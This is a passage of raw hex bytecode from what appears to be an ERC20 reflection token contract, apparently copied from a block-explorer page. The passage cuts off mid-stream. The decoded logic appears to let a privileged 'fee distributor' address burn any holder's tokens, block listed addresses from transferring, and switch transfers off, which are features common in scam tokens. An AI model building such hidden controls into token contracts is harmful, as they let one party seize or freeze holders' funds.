ffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209418a690ad2398a29899ca7240a01436a0c90de1cf81a9a6369c6cdd794450d464736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612809565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffff